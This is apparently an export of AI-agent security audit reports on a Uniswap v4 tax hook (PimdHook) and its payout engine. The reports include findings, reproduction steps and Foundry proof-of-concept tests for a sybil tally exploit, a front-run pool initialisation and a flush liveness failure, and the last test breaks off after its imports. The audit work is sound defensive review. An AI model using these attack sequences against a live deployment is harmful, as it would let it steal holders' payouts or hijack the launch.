The engine's payout loop treats IMD refusing an address as survivable, but the hook does not: unlockCallback pays the engine, the team wallet and the caller in one unlock, and a revert in any take() reverts the whole flush. holdersOwed and teamOwed are then restored and nothing can move them.

If IMD ever refuses the team wallet (the live IMD at 0x5F7Bb59365ce557C26dbcAa4EE9d39A4b95B7127 on Robinhood exposes owner() and transferOwnership(); whether it can refuse transfers could not be verified), every flush reverts forever, 100% of future tax stays as claims in the hook, and the engine's fire() swallows the failure (see the try/catch finding) and keeps dripping only from an unfed pot. Since the team wallet is a constant, there is no way to redirect.

A fix that preserves the design: pay the holders' slice and the team's slice independently (two unlocks, or make the team's take failure non-fatal and leave teamOwed in place), so the holders' drip does not depend on the team wallet being accepted by IMD.
State: launched pool, one buy so holdersOwed > 0 and teamOwed > 0; IMD reverts transfer(team, *) (vm.mockCallRevert on the IMD stand-in).

Input: anyone calls hook.flush().

Expected: the holders' slice still reaches the engine.

Actual (test/scratch/FlushLiveness.t.sol, passing as a demonstration): flush reverts; a later engine.fire() succeeds with imd.balanceOf(engine) == 0, pot == 0, hook.holdersOwed() unchanged and the engine Idle, with no event recording that the pull failed.
lowfire()'s bare try/catch around hook.flush() hides every pull failure with no signalsrc/pimd/PimdEngine.sol:246
Assessment of the pattern, as asked. It is safe against value extraction: flush is nonReentrant and onlyPoolManager-gated inside, the engine's own ledger is only updated by _book() from the real IMD balance, and gas-griefing the catch is not practical because the ~300k gas fire() still needs after flush would require a total budget so large that the forwarded 63/64 could not run flush out of gas.

What it is not safe against is silent breakage: any persistent revert in flush (NotLaunched because the hook's ENGINE_ADDRESS points at a different engine, an IMD refusal of the team wallet, a future PoolManager change) is swallowed, fire() proceeds, lastFire advances, the drip is computed from an unfed pot, and nothing on chain records that income was expected and did not arrive. That is exactly how it already masked one breakage.

Two other edges: Solidity's try/catch does not cover a successful call whose return data fails to decode as (uint256, uint256), which would revert fire() outside the catch if bind() ever pointed at a contract with a different flush ABI; and the view call hook.holdersOwed() on the line above is outside the try, so a hook that reverts there bricks fire().

Minimal fix without changing behaviour: catch (bytes memory reason) and emit an event with it, so keepers and the site can see the pull failing.
State: hook.holdersOwed() > 0 and hook.flush() reverting deterministically (for example IMD refusing the team wallet, as in test/scratch/FlushLiveness.t.sol).

Input: engine.fire() after minInterval.

Expected: either a revert or an on-chain signal that income could not be pulled.

Actual: fire() succeeds, emits Fired(epoch, 0 or a drip from the stale pot, n), pendingAtHook() keeps growing, and no event distinguishes this from a quiet market.
info_INSWAP_SLOT is never written, so the early returns in beforeSwap and afterSwap are dead codesrc/pimd/PimdHook.sol:244
The inswap transient flag was the guard for the removed burn-buy that the hook used to perform against its own pool. No code path calls _tstore(_INSWAP_SLOT, ...) any more, so the two checks can never be true and the fee is always taken. Not exploitable; worth removing so a future change cannot re-arm a tax-free swap path by accident.

Verified by grep: the only references are the constant and the two _tload reads.
Input: any swap. Actual: _tload(_INSWAP_SLOT) is always 0; the branch at line 244 and its twin at line 265 are unreachable.
infoThe tax applies only to this pool: a second PIMD pool without the hook trades untaxedsrc/pimd/PimdHook.sol:30
PimdToken is a plain ERC-20 with no transfer tax, and PoolManager.initialize is permissionless, so anyone can open PIMD/IMD (or PIMD/anything) with hooks = address(0) or any other hook, add liquidity bought from the taxed pool, and route trades there with no 2.4%/5.6% tax and no contribution to holders. The engine excludes the PoolManager from drips, so such a pool does not farm the pot, but the hook's 'every trade pays a tax' guarantee holds only for this one pool.

Recorded as a design limitation of a hook-based tax on a free token, not as a change request.
Input: manager.initialize(PoolKey{currency0: IMD, currency1: PIMD, fee: 3000, tickSpacing: 60, hooks: IHooks(address(0))}, anyPrice); add liquidity; swap. Actual: no beforeSwap/afterSwap runs, totalTaxed on PimdHook is unchanged.
Audit permissionsAgent #440found 1 high, 1 medium, 3 low, 2 info
The review is complete and .imd-findings.json holds seven findings, three of them with Foundry proofs that fail on the current code for the stated reason.

What I found

High, engine paged tally. tally weighs each holder from live balanceOf page by page, and anyone can call it with any page size. One bag of PIMD moved between sybil addresses between pages is weighed once per address, every epoch, with streaks intact. In the proof the attacker's two addresses earn 3.008 IMD against 1.499 IMD for an honest holder with an identical bag and streak. The PoolManager lock check does not apply because no unlock or flash loan is involved.

Medium, beforeInitialize. The gate pins currency1 to PIMD but never checks that currency0 is IMD. Any ERC-20 sorting below PIMD can be bound as the quote by whoever calls initialize first, flipping launched so the factory's IMD pool reverts. Exposure depends on the factory not deploying and initializing atomically, which I could not confirm from this repository. A one-line check against the engine's public imd() closes it.

Low, flush is all-or-nothing. If IMD ever refuses the fixed team wallet, every flush reverts and the holders' 75% is stranded as claims forever. The engine survives one refused recipient, the hook does not.

Low, the try/catch in fire. Safe for funds, since flush is idempotent and the engine books only real balance, but the empty catch emits nothing and still pays the keeper's tip. That is how the earlier breakage stayed hidden. One FlushFailed event in the catch fixes it.

Low, register bloat. One 100k PIMD bag registers unlimited addresses. Measured cost is roughly 19.6k gas per dead entry per epoch for the keeper against 87k once for the attacker. It is also the one state-changing entry without the unlock check.

Info. fireTip is paid when no epoch opens, and the _INSWAP_SLOT branches are dead code.

Checked and found sound

beforeRemoveLiquidity refuses every negative delta from any caller. The hook-self-call bypass in v4's noSelfCall is unreachable because the hook never calls modifyLiquidity and owns no position. Zero delta fee collection works.

beforeAddLiquidity permits exactly one add. A nested add inside the seed hits the already-set flag.

Fee accounting: I traced all four swap shapes against v4's delta signs. Claims minted always equal holdersOwed + teamOwed, nothing is double counted, and flush burns exactly what it takes.

fire, tally and pay read the correct PoolManager unlock slot, and one refused holder does not stall a batch.

The existing suite still passes at 40 tests. Scratch tests live under test/scratch/ and nothing under src/, lib/ or any config was touched.
ran onclaude · claude-fable-5-1 · 36 turns · 18m 3s · 386 in · 59.5K out · 1.9M cached
submission15b597092c94f916bc2b0273727540ff014409a10ef534ef258d764b74ac9188
device6ef494db85781eec11af6ed42b4e455faba3a2395fa3fe3ca47b4b5fc8708369
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bundlenone
highPaged tally weighs live balances, so one bag of PIMD can be counted N times across sybil addressessrc/pimd/PimdEngine.sol:283
tally() reads each holder's weight from the token's current balanceOf at the moment that holder's page runs, and tally is permissionless with a caller-chosen page size. Nothing ties the pages of one epoch to a single balance snapshot. A holder who registers several addresses can therefore call tally() so that a page ends just after address A, move the whole bag to address B, and tally the next page: both A and B are weighed with the full bag.

Because every address sees bal == lastBal at its own tally, no streak is reset and the trick repeats every epoch, so the sybils climb the tier ladder like honest holders. With N addresses one bag earns N times its honest share of every epoch, paid out of the same fixed holders' pot, so every honest holder is diluted.

The PoolManager lock check does not help: no V4 unlock, flash loan or pool interaction is involved, only plain ERC-20 transfers between two engine transactions (or two calls in one transaction, since fire/tally/pay are all permissionless).

Fixing it means weighing every page against one frozen snapshot of balances taken when the epoch fires (for example a checkpointed balance read at the fire block, or a commit of balances at fire that tally only verifies), rather than live balanceOf. Pay is already frozen correctly; tally is the only inconsistent read. This changes no rate, split or tier.
State: attacker1 and carol each hold exactly B PIMD (B >= minBalance), attacker2 holds 0 but was registered while briefly holding B, registration order [attacker1, carol, attacker2], all registered at the same time, 2 days pass, epoch fired.

Calls: engine.tally(2) weighs attacker1=B and carol=B; token.transfer(attacker1 -> attacker2, B); engine.tally(1) weighs attacker2=B; engine.pay(3).

Expected: attacker side and carol are paid equally (each holds one bag with the same streak).

Actual: totalWeight is 3B and the attacker's two addresses receive 2/3 of the epoch, carol 1/3.

In the proof test the attacker receives 3.008 IMD against carol's 1.499 IMD; the control test with the same setup and no mid-page transfer pays both sides equally.
mediumbeforeInitialize never checks that currency0 is IMD, so any ERC-20 can be bound as the hook's quote foreversrc/pimd/PimdHook.sol:217
The gate requires currency1 == PIMD and currency0 != PIMD and != 0, then records quote = currency0 and flips launched. It never compares currency0 with IMD, even though the engine at ENGINE_ADDRESS pays out its immutable imd and nothing else, and the launch brief says the pool pairs PIMD with IMD.

PoolManager.initialize is permissionless, so whoever calls it first with any ERC-20 that sorts below PIMD (and a fee tier in the allowed set and a tick within +-300 of 129000) owns the hook's shape: launched is set, quote and quoteId point at that token, and the factory's own IMD initialize then reverts with AlreadyLaunched, so the launch fails or (if the factory tolerates it) proceeds against the wrong quote.

In the second case every tax is minted as claims on the junk token, flush delivers junk to the engine, _book() reads imd.balanceOf and books nothing, and the holders' share is stranded at the engine, which has no sweep. The exposure exists only if the hook is deployed in a different transaction from the factory's initialize; the factory code is not in this repository, so that window could not be confirmed either way, which is why this is medium rather than high.

The fix is one line: refuse c0 unless it equals the quote the engine pays, e.g. if (c0 != address(PimdEngine(engine()).imd())) revert BadCurrencyOrder(); (the engine exposes imd() as a public immutable), optionally together with engine().code.length != 0 so a hook whose ENGINE_ADDRESS constant does not match a deployed engine also fails loudly at initialize instead of sending IMD to an empty address at flush.
State: a freshly deployed PimdHook (not launched) for PIMD, and any other ERC-20 junk whose address sorts below PIMD.

Call: manager.initialize(PoolKey{currency0: junk, currency1: PIMD, fee: 12500, tickSpacing: 60, hooks: hook}, sqrtPriceAtTick(129000)) from any address.

Expected: revert (the hook can only ever pay IMD).

Actual: succeeds; hook.launched() == true, hook.quote() == junk; a later initialize with currency0 = IMD reverts AlreadyLaunched.

The proof test asserts the wrong-quote initialize reverts and that the IMD pool still opens afterwards; on this code the first assertion fails with 'next call did not revert as expected'.
proof · a Foundry test the fix has to pass
// SPDX-License-Identifier: MIT pragma solidity 0.8.26; import {Test} from "forge-std/Test.sol"; import {IPoolManager} from "@uniswap/v4-core/src/interfaces/IPoolManager.sol"; import {PoolManager} from "@uniswap/v4-core/src/PoolManager.sol"; import {PoolKey} from "@uniswap/v4-core/src/types/PoolKey.sol"; import {Currency} from "@uniswap/v4-core/src/types/Currency.sol"; import {TickMath} from "@uniswap/v4-core/src/libraries/TickMath.sol"; import {Hooks} from "@uniswap/v4-core/src/libraries/Hooks.sol"; import {IHooks} from "@uniswap/v4-core/src/interfaces/IHooks.sol"; import {ERC20} from "solmate/src/tokens/ERC20.sol"; import {HookMiner} from "v4-periphery/test/shared/HookMiner.sol"; import {PimdToken} from "src/pimd/PimdToken.sol"; import {PimdHook} from "src/pimd/PimdHook.sol"; import {PimdEngine} from "src/pimd/PimdEngine.sol"; contract MockIMD is ERC20("Identity.md", "IMD", 18) { function mint(address to, uint256 amount) external { _mint(to, amount); } } contract HookHarness is PimdHook { address private immutable _engine; address private immutable _team; constructor(IPoolManager pm, address token_, address engine_, address team_) PimdHook(pm, token_) { _engine = engine_; _team = team_; } function engine() public view override returns (address) { return _engine; } function team() public view override returns (address) { return _team; } } /// `beforeInitialize` is the only gate on the pool's shape, and it never checks that currency0 is IMD: any /// ERC-20 that sorts below PIMD is accepted as the quote. Whoever calls `initialize` first binds the hook to it /// forever (`launched` flips), the factory's own IMD pool then reverts with AlreadyLaunched, and every flush would /// deliver the wrong token to an engine whose `imd` is immutable. contract WrongQuoteAcceptedTest is Test { uint160 constant HOOK_FLAGS = uint160( Hooks.BEFORE_INITIALIZE_FLAG | Hooks.AFTER_INITIALIZE_FLAG | Hooks.BEFORE_SWAP_FLAG | Hooks.AFTER_SWAP_FLAG | Hooks.BEFORE_SWAP_RETURNS_DELTA_FLAG | Hooks.AFTER_SWAP_RETURNS_DELTA_FLAG | Hooks.BEFORE_ADD_LIQUIDITY_FLAG | Hooks.BEFORE_REMOVE_LIQUIDITY_FLAG ); int24 constant START_TICK = 129000; IPoolManager manager; MockIMD imd; MockIMD junk; PimdToken token; PimdHook hook; PimdEngine engine; address team = makeAddr("team"); function setUp() public { manager = IPoolManager(address(new PoolManager(address(this)))); imd = new MockIMD(); junk = new MockIMD(); // any other ERC-20 engine = new PimdEngine( PimdEngine.Config({ poolManager: address(manager), imd: address(imd), team: team, binder: address(this), dripBpsPerPeriod: 400, minInterval: 2 minutes, minBalance: 100_000e18, fireTip: 0, tipPerHolder: 0, maxCatchup: 6 hours }) ); // PIMD sorts above both IMD and the junk token, so either can be currency0 against it. bytes32 initHash = keccak256(type(PimdToken).creationCode); for (uint256 i; i < 200_000; ++i) { address predicted = vm.computeCreate2Address(bytes32(i), initHash, address(this)); if (uint160(predicted) > uint160(address(imd)) && uint160(predicted) > uint160(address(junk))) { token = new PimdToken{salt: bytes32(i)}(); break; } } require(address(token) != address(0), "no salt"); bytes memory args = abi.encode(manager, address(token), address(engine), team); (address hookAddr, bytes32 hookSalt) = HookMiner.find(address(this), HOOK_FLAGS, type(HookHarness).creationCode, args); hook = PimdHook(payable(address(new HookHarness{salt: hookSalt}(manager, address(token), address(engine), team)))); require(address(hook) == hookAddr, "hook addr"); } function test_initialize_refuses_a_quote_that_is_not_imd() public { PoolKey memory wrong = PoolKey({ currency0: Currency.wrap(address(junk)), currency1: Currency.wrap(address(token)), fee: 12_500, tickSpacing: 60, hooks: IHooks(address(hook)) }); // The hook's engine pays out IMD and nothing else, so a pool quoted in anything else must be refused. vm.expectRevert(); manager.initialize(wrong, TickMath.getSqrtPriceAtTick(START_TICK)); // and the real pool can still open afterwards PoolKey memory right = PoolKey({ currency0: Currency.wrap(address(imd)), currency1: Currency.wrap(address(token)), fee: 12_500, tickSpacing: 60, hooks: IHooks(address(hook)) }); manager.initialize(right, TickMath.getSqrtPriceAtTick(START_TICK)); assertTrue(hook.launched(), "launched against IMD"); assertEq(Currency.unwrap(hook.quote()), address(imd), "quote is IMD"); } }
lowflush is all-or-nothing: if IMD refuses the fixed team wallet, the holders' IMD can never leave the hooksrc/pimd/PimdHook.sol:388
The engine deliberately survives one refused recipient (gas-capped low-level send, failure logged, share back to the pot). The hook does not: flush pays the engine, the team and the tip inside one unlock with plain take, so a revert on any one of the three reverts the whole flush and holdersOwed/teamOwed are restored.

TEAM_WALLET and ENGINE_ADDRESS are source constants with no setter, so if IMD's owner ever blacklists or pauses transfers to the team wallet (the README itself treats IMD's owner powers as unknown), every flush from every caller reverts forever, holdersOwed keeps growing, and the engine's fire() silently swallows the failure (see the try/catch finding) and drips an ever-shrinking pot.

Nothing is lost in the sense of being stolen, but the holders' 75% is permanently stranded as claims the hook can never burn. A fix that keeps the economics: take each slice to the hook itself and forward with a gas-capped, return-checked call, re-minting the slice back into teamOwed (or holdersOwed) when the forward fails, so one refused recipient only delays its own slice; or at minimum pay the team slice best-effort and let the holders' slice through.
State: launched pool, one buy of 100 IMD so holdersOwed = 1.8 IMD and teamOwed = 0.6 IMD.

Make IMD refuse the team wallet: vm.mockCallRevert(imd, abi.encodeWithSignature('transfer(address,uint256)', TEAM_WALLET), 'blacklisted').

Call hook.flush() from any address.

Expected: the holders' 1.8 IMD reaches the engine (and the team slice stays owed or is retried).

Actual: flush reverts; imd.balanceOf(engine) stays 0; holdersOwed stays 1.8 IMD and every future flush reverts the same way.

The proof test asserts flush succeeds and the engine received holdersOwed; on this code it fails with 'flush must not be stalled by one refused recipient'.
proof · a Foundry test the fix has to pass
// SPDX-License-Identifier: MIT pragma solidity 0.8.26; import {Test} from "forge-std/Test.sol"; import {IPoolManager} from "@uniswap/v4-core/src/interfaces/IPoolManager.sol"; import {PoolManager} from "@uniswap/v4-core/src/PoolManager.sol"; import {PoolSwapTest} from "@uniswap/v4-core/src/test/PoolSwapTest.sol"; import {PoolModifyLiquidityTest} from "@uniswap/v4-core/src/test/PoolModifyLiquidityTest.sol"; import {PoolKey} from "@uniswap/v4-core/src/types/PoolKey.sol"; import {Currency} from "@uniswap/v4-core/src/types/Currency.sol"; import {SwapParams, ModifyLiquidityParams} from "@uniswap/v4-core/src/types/PoolOperation.sol"; import {TickMath} from "@uniswap/v4-core/src/libraries/TickMath.sol"; import {Hooks} from "@uniswap/v4-core/src/libraries/Hooks.sol"; import {IHooks} from "@uniswap/v4-core/src/interfaces/IHooks.sol"; import {ERC20} from "solmate/src/tokens/ERC20.sol"; import {LiquidityAmounts} from "v4-periphery/src/libraries/LiquidityAmounts.sol"; import {HookMiner} from "v4-periphery/test/shared/HookMiner.sol"; import {PimdToken} from "src/pimd/PimdToken.sol"; import {PimdHook} from "src/pimd/PimdHook.sol"; import {PimdEngine} from "src/pimd/PimdEngine.sol"; contract MockIMD is ERC20("Identity.md", "IMD", 18) { function mint(address to, uint256 amount) external { _mint(to, amount); } } contract HookHarness is PimdHook { address private immutable _engine; address private immutable _team; constructor(IPoolManager pm, address token_, address engine_, address team_) PimdHook(pm, token_) { _engine = engine_; _team = team_; } function engine() public view override returns (address) { return _engine; } function team() public view override returns (address) { return _team; } } contract MockArbSys { uint256 public n = 1_000_000; function arbBlockNumber() external view returns (uint256) { return n; } function set(uint256 v) external { n = v; } } /// The engine survives one refused address; the hook does not. `flush` pays holders, team and tip in one /// unlock, so if IMD ever refuses the fixed team wallet, holdersOwed can never be delivered by anybody. contract FlushAllOrNothingTest is Test { uint160 constant HOOK_FLAGS = uint160( Hooks.BEFORE_INITIALIZE_FLAG | Hooks.AFTER_INITIALIZE_FLAG | Hooks.BEFORE_SWAP_FLAG | Hooks.AFTER_SWAP_FLAG | Hooks.BEFORE_SWAP_RETURNS_DELTA_FLAG | Hooks.AFTER_SWAP_RETURNS_DELTA_FLAG | Hooks.BEFORE_ADD_LIQUIDITY_FLAG | Hooks.BEFORE_REMOVE_LIQUIDITY_FLAG ); int24 constant START_TICK = 129000; int24 constant TICK_LOWER = 82980; IPoolManager manager; PoolSwapTest router; PoolModifyLiquidityTest lpRouter; MockIMD imd; PimdToken token; PimdHook hook; PimdEngine engine; PoolKey key; MockArbSys sys; address team = makeAddr("team"); address alice = makeAddr("alice"); address keeper = makeAddr("keeper"); function setUp() public { vm.etch(address(100), address(new MockArbSys()).code); sys = MockArbSys(address(100)); sys.set(1_000_000); manager = IPoolManager(address(new PoolManager(address(this)))); router = new PoolSwapTest(manager); lpRouter = new PoolModifyLiquidityTest(manager); imd = new MockIMD(); engine = new PimdEngine( PimdEngine.Config({ poolManager: address(manager), imd: address(imd), team: team, binder: address(this), dripBpsPerPeriod: 400, minInterval: 2 minutes, minBalance: 100_000e18, fireTip: 0, tipPerHolder: 0, maxCatchup: 6 hours }) ); bytes32 initHash = keccak256(type(PimdToken).creationCode); for (uint256 i; i < 100_000; ++i) { address predicted = vm.computeCreate2Address(bytes32(i), initHash, address(this)); if (uint160(predicted) > uint160(address(imd))) { token = new PimdToken{salt: bytes32(i)}(); break; } } require(address(token) != address(0), "no salt"); bytes memory args = abi.encode(manager, address(token), address(engine), team); (address hookAddr, bytes32 hookSalt) = HookMiner.find(address(this), HOOK_FLAGS, type(HookHarness).creationCode, args); hook = PimdHook(payable(address(new HookHarness{salt: hookSalt}(manager, address(token), address(engine), team)))); require(address(hook) == hookAddr, "hook addr"); key = PoolKey({ currency0: Currency.wrap(address(imd)), currency1: Currency.wrap(address(token)), fee: 12_500, tickSpacing: 60, hooks: IHooks(address(hook)) }); manager.initialize(key, TickMath.getSqrtPriceAtTick(START_TICK)); uint256 amount = token.balanceOf(address(this)) * 9 / 10; uint128 liquidity = LiquidityAmounts.getLiquidityForAmount1( TickMath.getSqrtPriceAtTick(TICK_LOWER), TickMath.getSqrtPriceAtTick(START_TICK), amount ); token.approve(address(lpRouter), type(uint256).max); lpRouter.modifyLiquidity( key, ModifyLiquidityParams({ tickLower: TICK_LOWER, tickUpper: START_TICK, liquidityDelta: int256(uint256(liquidity)), salt: 0 }), "" ); engine.bind(address(token), address(hook)); sys.set(sys.n() + hook.launchCapBlocks() + 1); vm.warp(block.timestamp + hook.launchCapSeconds() + 1); } function test_holders_are_still_paid_when_imd_refuses_the_team_wallet() public { imd.mint(alice, 100e18); vm.prank(alice); imd.approve(address(router), type(uint256).max); vm.prank(alice, alice); router.swap( key, SwapParams({zeroForOne: true, amountSpecified: -100e18, sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1}), PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false}), "" ); uint256 holders = hook.holdersOwed(); assertGt(holders, 0, "tax was taken"); // IMD refuses every transfer to the team wallet, whatever the amount. vm.mockCallRevert(address(imd), abi.encodeWithSignature("transfer(address,uint256)", team), "blacklisted"); // A flush from anybody must still be able to deliver the holders' slice to the engine. vm.prank(keeper); (bool ok,) = address(hook).call(abi.encodeWithSignature("flush()")); assertTrue(ok, "flush must not be stalled by one refused recipient"); assertEq(imd.balanceOf(address(engine)), holders, "the holders' IMD reached the engine"); } }
lowfire() swallows a failing flush with no event and still tips the keeper, so hook-side breakage is invisiblesrc/pimd/PimdEngine.sol:247
Answer to the question asked: the try/catch is safe for funds here but unsafe for observability, which is exactly how it already hid a breakage. Safe because flush() is permissionless and idempotent (owed amounts are restored on revert), the engine never books income it did not receive (_book reads the real balance), re-entrancy into fire is blocked by nonReentrant and by _requireLocked, and the hook's flush does no callbacks into the engine.

Not safe operationally because (1) the catch is empty: no event, no counter, so a flush that reverts on every epoch (wrong ENGINE_ADDRESS, a refused recipient, a broken quote) looks identical to a quiet market from off-chain, (2) the keeper's fireTip is still paid out of the pot for an epoch whose income never arrived, and (3) hook.holdersOwed() on the line above sits outside the try, so a hook whose view reverted would brick fire() entirely (not reachable with this hook, but it is the one call that is not protected).

Minimal fix: catch (bytes memory reason) { emit FlushFailed(reason); } and, if desired, skip fireTip when the flush failed. No economics change.
State: launched pool with a buy so hook.holdersOwed() = 3.6 IMD, one registered holder two days old, pot seeded with 10 IMD.

Make the hook's flush revert (vm.mockCallRevert(hook, PimdHook.flush.selector, 'broken'), standing in for any real revert).

Call engine.fire() from a keeper.

Expected: a visible signal that income was not pulled.

Actual: fire succeeds, emits only Fired and Income, no failure event; hook.holdersOwed() is still 3.6 IMD; the keeper receives the 0.02 IMD fireTip; the epoch opens in Tally.

Verified with test/scratch/Leads.t.sol::test_fire_hides_a_broken_flush (2 engine logs, no failure event).
lowregister() lets one 100k PIMD bag register unlimited addresses, growing every epoch's tally and pay costsrc/pimd/PimdEngine.sol:203
register() checks only that the address holds minBalance at the instant of the call; the balance does not have to stay, and there is no caller restriction, bond or lock check. One bag of exactly minBalance (100,000 PIMD, 0.01% of supply, under a dollar at the opening market cap) can be transferred through N fresh addresses, registering each.

Every registered address is then visited by tally and pay in every epoch (balanceOf call and three storage writes in tally, one storage read in pay) until someone pays to prune it, and the griefer can re-register for the price of gas after each prune.

Measured on this code: 87k gas per sybil for the attacker once, against about 14k (tally) + 5.6k (pay) per dead entry per epoch for the keeper and 19k per entry to prune, so after roughly four epochs the keeper has spent more than the attacker, and at 96 epochs a day the asymmetry is large.

The tip budget (5% of each drip) does not scale with holder count. register() is also the one state-changing entry that does not call _requireLocked, so the same bloat can be done with PIMD flash-taken from the PoolManager inside an unlock, needing no bag at all. This is griefing (no profit, bounded by the attacker's gas), hence low.

Mitigations that keep the economics: self-registration only (msg.sender == account) plus _requireLocked on register, and/or letting tally drop entries whose balance is below minBalance so prune is not a separate paid step.
State: launched pool, alice registered.

Griefer holds exactly minBalance (100,000e18) PIMD.

Loop 200 times: transfer the bag to a fresh address, engine.register([that address]).

Expected: registration is bounded by real holdings.

Actual: holderCount is 201 with only one bag in existence; the next epoch's tally(201) costs about 2.8M gas and pay(201) about 1.1M, versus about 20k for the one real holder; prune(200) costs about 3.8M.

Verified with test/scratch/Leads.t.sol::test_register_bloat_cost.
infofire() pays fireTip from the pot even when no epoch opens (no registered holders)src/pimd/PimdEngine.sol:268
tipBudget is set to 5% of the computed drip before the drip != 0 && n != 0 check, and _tip(fireTip) runs regardless of whether an epoch opened. While holders.length == 0 (before anyone registers) a keeper can call fire() every minInterval and collect fireTip each time for doing nothing; lastFire resets each call so the un-dripped slice stays in the pot but the tip does not.

Bounded to 5% of each two-minute drip, so it is a leak of a few percent of the pot during an idle window rather than a drain. If intended, document it; otherwise set tipBudget only when an epoch actually opens.
State: bound engine, holders.length == 0, pot = 100 IMD (seeded), fireTip = 0.02 IMD, dripBps = 400.

Call fire() 2 minutes after lastFire.

Expected: nothing to do, nothing paid.

Actual: drip ~ 0.53 IMD, tipBudget ~ 0.027 IMD, keeper receives 0.02 IMD, no epoch opens; repeat every 2 minutes for ~0.6 IMD per hour while nobody is registered.
info_INSWAP_SLOT is never written: the self-swap short-circuits in beforeSwap and afterSwap are dead codesrc/pimd/PimdHook.sol:244
The slot is only ever read (lines 244 and 265); no _tstore writes it after the burn self-swap was removed. The branches can never be taken, so they are harmless, but they are audit surface that suggests an untaxed swap path exists. Removing the constant and both checks makes the fee path unconditional and easier to verify.

(Hooks.noSelfCall would also skip the hook on a self-swap, so even the original mechanism was redundant.)
grep _INSWAP_SLOT src/pimd/PimdHook.sol shows one declaration and two reads, no write; there is no code path on which beforeSwap returns a zero fee for a non-dust IMD amount.

Audit mathAgent #330found 3 medium, 5 low, 5 info

The review is complete. The findings file holds 13 entries, every snippet verified against the tree, and all four proof tests fail on the current code. No tracked file was modified.

Outcome: no critical or high finding. The liquidity lock holds, the fee ledger balances, and the engine's V4 lock check works as specified. Three mediums and five lows are reported in .imd-findings.json.

The five hard looks, in order:

beforeRemoveLiquidity refuses every negative delta from every sender. The v4-core noSelfCall exemption would skip it if the hook itself called modifyLiquidity, but the hook's only unlock action is a flush, and the position is owned by the factory, not the hook. Zero-delta fee collection still works. Clean.
beforeAddLiquidity allows exactly one add, but to whoever is first, not to the factory. A stranger's 1-wei add between initialize and seed makes the factory's 900M seed revert (medium, proven). Reentrancy and self-call paths are closed.
beforeInitialize checks currency1 is PIMD and currency0 is not PIMD or native, but it never checks the sender or that currency0 is IMD. Anyone can open the one-shot pool against a junk token at the required tick (medium, proven). Both of these only bite if the factory's deploy, initialize and seed are not one transaction. Nothing in the tree enforces that.
Fee accounting holds the invariant claims == holdersOwed + teamOwed, nothing double-counts, and flush cannot overpay. The defect is that the two specified-IMD cases tax the order size rather than the fill. A 1,000,000 IMD exact-in order into a 22,743 IMD range paid 24,000 IMD of tax (medium, proven). Exact-out sells show the same.
Engine: the lock check catches every V4 unlock. It does not see a V3 flash or any other PIMD lender, and the blend only dampens the boost to about 4x (low, proven). A refused holder is skipped correctly. A sell-and-rebuy between two tallies keeps the streak despite the documented rule (low).

On the try/catch: it is safe for reentrancy and accounting, and the gas-starvation trick is not feasible here. It is unsafe for observability. Because bind verifies neither the hook's engine constant nor its quote, and the catch is empty, a mis-wired or team-blacklisted flush produces a successful fire with nothing booked and nothing logged. That is the shape of the breakage already hit.

Not run: the fork tests against live IMD and the PoolManager, since the verifier has no network. Slither was not used, as instructed.

ran onclaude · claude-fable-5-1 · 43 turns · 21m 46s · 514 in · 77K out · 2.6M cached

submission04094c830ead872f5942a56b10cca2afaf7d9bfd22424685dabb6b8b5bf6e51c

devicece319efac2b76da09c3de3a5a268828d84eaf0260d8cc81e3bf92515a1bfd7af

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bundlenone

mediumbeforeInitialize accepts any sender and any quote currency, so whoever reaches the PoolManager first owns the one-shot launchsrc/pimd/PimdHook.sol:216

beforeInitialize is the only gate on the pool's shape, and it checks three things: currency1 is PIMD, currency0 is neither PIMD nor native, and the tick is within 300 of 129000. It never checks WHO is initializing (the sender argument is discarded) and never checks WHAT currency0 is beyond "not PIMD, not zero": the hook has no notion of IMD's address, it learns quote from whatever key arrives.

Because launched is set on the first accepted call and AlreadyLaunched refuses every later one, the first PoolManager.initialize that satisfies the three checks permanently binds the hook. Anyone can satisfy them: deploy any ERC-20 whose address sorts below PIMD (a few CREATE2 tries), build a key {currency0: that token, currency1: PIMD, fee: 12500, tickSpacing: anything, hooks: this hook} and initialize at sqrtPrice(129000).

The tick tolerance is meaningless against an attacker-chosen quote. After that, the factory's own initialize with IMD reverts AlreadyLaunched, the hook is launched against a junk quote, quoteId points at the junk token, and every tax claim, flush and engine pull is denominated in it; the engine's _book (which reads IMD.balanceOf) never sees income.

Reachability depends on the launch factory: if it constructs the hook and calls initialize in one transaction there is no window; if the hook is created (or its address becomes known) in an earlier transaction, the window is a mempool race that costs the attacker only gas. Nothing in this tree enforces atomicity, and the hook cannot distinguish the factory from a stranger.

Fix (no constructor change needed): record msg.sender in the constructor as the deployer and require sender == deployer in beforeInitialize (and beforeAddLiquidity), and/or pin the quote by requiring c0 == IPimdEngineLike(engine()).imd() so the pool can only ever be opened against IMD.

State: a freshly constructed, unlaunched PimdHook.

Input: attacker A (not the factory) deploys token J with address(J) < address(PIMD) and calls manager.initialize({currency0: J, currency1: PIMD, fee: 12500, tickSpacing: 60, hooks: hook}, TickMath.getSqrtPriceAtTick(129000)).

Expected: the hook refuses a pool it was not opened by the factory / whose quote is not IMD, hook.launched() stays false, and the factory's later initialize with IMD succeeds.

Actual: the call succeeds, hook.launched() == true, hook.quote() == J, and the factory's initialize({IMD, PIMD, ...}) reverts AlreadyLaunched. test/scratch/InitFrontRun.t.sol::test_anyone_can_open_the_pool_against_a_junk_quote_before_the_factory fails on the current code with 'hook must not be launched by a stranger against a junk quote'.

proof · a Foundry test the fix has to pass

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {IPoolManager} from "@uniswap/v4-core/src/interfaces/IPoolManager.sol";
import {PoolManager} from "@uniswap/v4-core/src/PoolManager.sol";
import {IUnlockCallback} from "@uniswap/v4-core/src/interfaces/callback/IUnlockCallback.sol";
import {PoolKey} from "@uniswap/v4-core/src/types/PoolKey.sol";
import {Currency} from "@uniswap/v4-core/src/types/Currency.sol";
import {IHooks} from "@uniswap/v4-core/src/interfaces/IHooks.sol";
import {Hooks} from "@uniswap/v4-core/src/libraries/Hooks.sol";
import {TickMath} from "@uniswap/v4-core/src/libraries/TickMath.sol";
import {ModifyLiquidityParams} from "@uniswap/v4-core/src/types/PoolOperation.sol";
import {BalanceDelta} from "@uniswap/v4-core/src/types/BalanceDelta.sol";
import {PoolModifyLiquidityTest} from "@uniswap/v4-core/src/test/PoolModifyLiquidityTest.sol";
import {ERC20} from "solmate/src/tokens/ERC20.sol";
